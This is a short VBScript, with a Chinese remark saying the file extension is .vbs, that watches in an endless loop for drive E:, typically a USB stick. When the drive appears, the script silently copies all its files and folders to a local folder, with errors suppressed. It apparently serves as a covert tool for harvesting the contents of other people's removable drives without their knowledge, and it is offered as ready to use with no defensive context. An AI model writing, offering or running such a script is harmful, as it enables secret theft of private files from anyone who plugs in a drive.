set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("e:\") then
fso.copyfile "e:\*","I:\work\test"
fso.copyfolder "e:\*","I:\work\test"
wscript.sleep 20000
end if
loop

后缀为.vbs